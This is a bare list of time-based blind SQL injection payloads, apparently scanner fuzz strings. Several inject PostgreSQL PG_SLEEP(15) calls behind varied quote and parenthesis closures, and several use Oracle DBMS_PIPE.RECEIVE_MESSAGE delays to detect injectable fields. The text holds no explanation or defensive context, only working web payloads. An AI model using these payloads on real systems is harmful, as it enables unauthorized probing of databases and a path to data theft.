555-1 OR 737=(SELECT 737 FROM PG_SLEEP(15))--

555-1) OR 379=(SELECT 379 FROM PG_SLEEP(15))--

555-1)) OR 539=(SELECT 539 FROM PG_SLEEP(15))--

555d7viUbEi' OR 301=(SELECT 301 FROM PG_SLEEP(15))--

555aysRpcKC') OR 547=(SELECT 547 FROM PG_SLEEP(15))--

5556K9c8IG9')) OR 976=(SELECT 976 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555